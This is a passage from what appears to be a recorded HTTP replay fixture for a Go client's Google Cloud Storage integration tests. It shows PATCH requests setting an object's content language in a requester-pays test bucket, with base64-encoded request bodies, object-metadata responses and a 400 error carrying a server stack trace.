ZXRhZyI6IkNPR2VxTkx4L2VFQ0VBST0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoibW5HN1RBPT0iLCJldGFnIjoiQ09HZXFOTHgvZUVDRUFJPSJ9" - } - }, - { - "ID": "94e697431c9323b9", - "Request": { - "Method": "PATCH", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/foo?alt=json\u0026prettyPrint=false\u0026projection=full\u0026userProject=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "85" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJjb250ZW50TGFuZ3VhZ2UiOiJlbiJ9Cg==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3216" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:55 GMT" - ], - "Etag": [ - "COGeqNLx/eECEAM=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uqhr0guIL00afW_qpaRvxEGRSJEWTtfrZP2Tv8Vqt2xas1ivvvMHVbSpT12ltU7FjytFhno9SFXTS8pW1S0S8qJdFctUCa83tkcQRXgN1uPUwhX1ws" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTg5MTU0ODAwMSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9vL2ZvbyIsIm5hbWUiOiJmb28iLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg5MTU0ODAwMSIsIm1ldGFnZW5lcmF0aW9uIjoiMyIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbiIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDo1MS41NDdaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6NTUuMTMwWiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjUxLjU0N1oiLCJzaXplIjoiNSIsIm1kNUhhc2giOiJYVUZBS3J4TEtuYTVjWjJSRUJmRmtnPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vP2dlbmVyYXRpb249MTU1NjgzNTg5MTU0ODAwMSZhbHQ9bWVkaWEiLCJjb250ZW50TGFuZ3VhZ2UiOiJlbiIsImNhY2hlQ29udHJvbCI6InB1YmxpYywgbWF4LWFnZT02MCIsImFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL2Zvby8xNTU2ODM1ODkxNTQ4MDAxL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9vL2Zvby9hY2wvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwib2JqZWN0IjoiZm9vIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4OTE1NDgwMDEiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ09HZXFOTHgvZUVDRUFNPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL2Zvby8xNTU2ODM1ODkxNTQ4MDAxL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvby9mb28vYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJvYmplY3QiOiJmb28iLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg5MTU0ODAwMSIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNPR2VxTkx4L2VFQ0VBTT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTg5MTU0ODAwMS9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vL2FjbC9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwib2JqZWN0IjoiZm9vIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4OTE1NDgwMDEiLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ09HZXFOTHgvZUVDRUFNPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL2Zvby8xNTU2ODM1ODkxNTQ4MDAxL3VzZXItaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvby9mb28vYWNsL3VzZXItaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJvYmplY3QiOiJmb28iLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg5MTU0ODAwMSIsImVudGl0eSI6InVzZXItaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNPR2VxTkx4L2VFQ0VBTT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoibW5HN1RBPT0iLCJldGFnIjoiQ09HZXFOTHgvZUVDRUFNPSJ9" - } - }, - { - "ID": "3c5d694690a75054", - "Request": { - "Method": "PATCH", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/foo?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "85" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJjb250ZW50TGFuZ3VhZ2UiOiJlbiJ9Cg==" - ] - }, - "Response": { - "StatusCode": 400, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Content-Length": [ - "12375" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:55 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UogsU3nh3dfRYWq9YqTmJc7CfCX1U0b-IrWpDCM7M4YwfuUWgzzzcydWdHLrF0UPqRxNFQj3eMHBbDuHYcF0xuUNah4g5J_nt26feHRp-moh7uFXNw" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6InJlcXVpcmVkIiwibWVzc2FnZSI6IkJ1Y2tldCBpcyByZXF1ZXN0ZXIgcGF5cyBidWNrZXQgYnV0IG5vIHVzZXIgcHJvamVjdCBwcm92aWRlZC4iLCJkZWJ1Z0luZm8iOiJjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX01JU1NJTkc6IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5VcGRhdGVBbmRQYXRjaE9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoVXBkYXRlQW5kUGF0Y2hPYmplY3QuamF2YTo0MjgpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5VcGRhdGVBbmRQYXRjaE9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoVXBkYXRlQW5kUGF0Y2hPYmplY3QuamF2YTo1OClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uT2JqZWN0c0RlbGVnYXRvci51cGRhdGUoT2JqZWN0c0RlbGVnYXRvci5qYXZhOjEwMylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogQnVja2V0IGlzIFJlcXVlc3RlciBQYXlzIGJ1Y2tldCBidXQgbm8gYmlsbGluZyBwcm9qZWN0IGlkIHByb3ZpZGVkIGZvciBub24tb3duZXIuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcblxuY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRmF1bHQ6IEltbXV0YWJsZUVycm9yRGVmaW5pdGlvbntiYXNlPVJFUVVJUkVELCBjYXRlZ29yeT1VU0VSX0VSUk9SLCBjYXVzZT1udWxsLCBkZWJ1Z0luZm89Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlVTRVJfUFJPSkVDVF9NSVNTSU5HOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuVXBkYXRlQW5kUGF0Y2hPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFVwZGF0ZUFuZFBhdGNoT2JqZWN0LmphdmE6NDI4KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuVXBkYXRlQW5kUGF0Y2hPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFVwZGF0ZUFuZFBhdGNoT2JqZWN0LmphdmE6NTgpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLk9iamVjdHNEZWxlZ2F0b3IudXBkYXRlKE9iamVjdHNEZWxlZ2F0b3IuamF2YToxMDMpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGRvbWFpbj1nbG9iYWwsIGV4dGVuZGVkSGVscD1udWxsLCBodHRwSGVhZGVycz17fSwgaHR0cFN0YXR1cz1iYWRSZXF1ZXN0LCBpbnRlcm5hbFJlYXNvbj1SZWFzb257YXJndW1lbnRzPXt9LCBjYXVzZT1udWxsLCBjb2RlPWdkYXRhLkNvcmVFcnJvckRvbWFpbi5SRVFVSVJFRCwgY3JlYXRlZEJ5QmFja2VuZD10cnVlLCBkZWJ1Z01lc3NhZ2U9Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlVTRVJfUFJPSkVDVF9NSVNTSU5HOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuVXBkYXRlQW5kUGF0Y2hPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFVwZGF0ZUFuZFBhdGNoT2JqZWN0LmphdmE6NDI4KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuVXBkYXRlQW5kUGF0Y2hPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFVwZGF0ZUFuZFBhdGNoT2JqZWN0LmphdmE6NTgpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLk9iamVjdHNEZWxlZ2F0b3IudXBkYXRlKE9iamVjdHNEZWxlZ2F0b3IuamF2YToxMDMpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFu